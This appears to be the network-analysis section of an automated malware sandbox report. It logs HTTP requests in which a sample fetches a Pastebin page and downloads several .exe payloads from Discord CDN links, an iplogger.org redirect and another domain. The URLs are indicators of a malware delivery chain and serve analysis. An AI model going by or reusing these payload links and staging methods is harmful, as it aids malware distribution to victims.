Network Analysis

GET /raw/gCyjHCCH HTTP/1.1 Host: pastebin.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 08:03:24 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d914d481971bafef926497a01973f04cb1617696204; expires=Thu, 06-May-21 08:03:24 GMT; path=/; domain=.pastebin.com; HttpOnly; SameSite=Lax; Secure x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 1174 cf-request-id: 0947ce40ac000012d247afe000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 63b97fe11ceb12d2-ICN

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 08:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d74ed51188f4a04475d9a11e932a5dfde1617696220; expires=Thu, 06-May-21 08:03:40 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 0947ce7e800000a249fd315000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=LLptdpPAoTeu8oVX1uJ9elYdl4DOtBDZeuTpJk7ULDOXOebtKsJ2gVIW33kN75HO60407g1vrK%2B1OrxfauMijK6c5HrhrgRjSKJRQ0QQqz5Pgss%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63b98043fa44a249-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826855866228670474/7525b875715555.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Tue, 06 Apr 2021 08:03:41 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d74ed51188f4a04475d9a11e932a5dfde1617696220; expires=Thu, 06-May-21 08:03:40 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b980446a96a249-ICN Cache-Control: private, max-age=0 Expires: Tue, 06 Apr 2021 08:03:41 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 0947ce7ebe0000a249e5a48000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-Uwv6ajbs8c8ex9XaGCCIVwYKGjKyukGURXQjaZiUIb6hcUG9W1ljrrC_8PeMOZh7batUD5tTEjgq76gGVt1tVDYvZb9_Q X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=FeYi3UBT4GMEsimIcYQtalVRlX3vcUqpAZav%2F1g3cjcjrFhprdMtA4Q2WQm5BgIqtizz4h%2Bbi4oJu2gvk2yaZM8fo%2BZY3bm1NluVuPuEBBONstU%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826198252025675816/826538114838298715/install_setupVPSfree.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Tue, 06 Apr 2021 08:03:41 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d3a213c6eb593a104becf394cc7b650d31617696221; expires=Thu, 06-May-21 08:03:41 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b980458dc0a273-ICN Cache-Control: private, max-age=0 Expires: Tue, 06 Apr 2021 08:03:41 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 0947ce7f780000a273948e1000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-Uy14p7Q5OeFoU9q5A18w1rMJKy66RDPA0OEZ7FSzw5pYS5p6Vvskua4kauqkSqNAIQWB9xQjvWS3_oJPCtOMm3g2Bn0Ew X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=WML5TtA4%2FEgGEbkmHdK7Gn1UpbLxfCX5kjZ9UkjEag1y6k11F2Oz65pj%2BCetOQD7M0x9tk%2FiPFaiZRoOM5BTzLtkGASa6raCfw%2BsJp1FLSMJZCM%3D"}],"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /setup-KGQJ-1.exe HTTP/1.1 Host: gwenetha.info Connection: Keep-Alive

HTTP/1.1 404 Not Found Date: Tue, 06 Apr 2021 08:03:41 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 19 Connection: keep-alive Set-Cookie: __cfduid=dbe7e0a2039686aef5a2d1e32e98846671617696221; expires=Thu, 06-May-21 08:03:41 GMT; path=/; domain=.gwenetha.info; HttpOnly; SameSite=Lax X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC cf-request-id: 0947ce80710000eb8153b5e000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=STu%2BZTBM9WLTYbCjI9yRH5MvuPYknimSkXhZrlvhrMY2yDDhYzO7XrTZC64466KoBIqJVKV2fu84QBv29BJpC7kOj4KWs2FRmP1br1gs"}],"max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63b980471c24eb81-LAX alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /2LehR6.exe HTTP/1.1 Host: iplogger.org Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 06 Apr 2021 08:03:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=bc5csolf06c8sp6pbb68oumq30; path=/; HttpOnly Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=261351964; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://cdn.discordapp.com/attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 08:04:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=ddddd09c1a29e498d17f0c84bb43dde0d1617696245; expires=Thu, 06-May-21 08:04:05 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 0947cee0b2000035198db24000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=68riEAV2c2Gi5DIKYbTugNlsx%2FBpT283UrZzmCBQ8dpguehA0U%2B4IBU0yv%2FJ9cP4dpjGlfgcch2DYPTSru9AAbGKBqtRIcutHyhx5Sv7aIuynk0%3D"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63b980e11ef73519-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826469949593485312/file.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Tue, 06 Apr 2021 08:04:06 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d167b7c14d7528e6411fbcba76ff8e6671617696246; expires=Thu, 06-May-21 08:04:06 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b980e2ae7900cf-ICN Cache-Control: private, max-age=0 Expires: Tue, 06 Apr 2021 08:04:06 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 0947cee1ad000000cffd1d0000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UwgRvZU8vGn1HX4NT_N35ppAXFLx43eovrgL8SjnakNikgiq60-PRkxM6GrvFprYKF0JlSig5qo9LLFOGMSLpLPVSr4Yw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=j4H24dALXx5mGhfJFCDWmT8E5fxh%2BoZXbTLyCGnm0buSb45%2Fz7md9gPt%2FRwEDZcEzM2iHLwREFL%2Fmg7BrUXuEqECepyvrAS7ELP%2BzDOQXo9fLss%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 08:04:16 GMT Content-Type: application/x-msdos-program Content-Length: 505856 Connection: keep-alive Set-Cookie: __cfduid=de420d08babb16ec3a64d2b574462e8651617696256; expires=Thu, 06-May-21 08:04:16 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b98123cfe93519-ICN Accept-Ranges: bytes Age: 551265 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe ETag: "28345a7bb63babaf99e760965ce493b7" Expires: Wed, 06 Apr 2022 08:04:16 GMT Last-Modified: Tue, 30 Mar 2021 19:35:01 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 0947cf0a61000035198690a000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1617132901889175 x-goog-hash: crc32c=Ws/4nQ== x-goog-hash: md5=KDRae7Y7q6+Z52CWXOSTtw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 505856 X-GUploader-UploadID: ABg5-UznZNO55X93AubXlWYP0c5SyYOTRHkzDJhcIzrcH58RoyWaPDs0j0jqBmhsS-QvB5VHDoqPplp1xtV5hwkr0kW8h3tVvw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=UqgUcGHlAcBlsMXVx4PsZFMdv2oAnbrzzLUy2IfMJh4hG0Qwoe%2FP0RoW8oga3wxeuyqe3m%2FBpaswTTp3jTQT%2FlzlZSlRWRpgCI5Keg0g6h7TXwc%3D"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare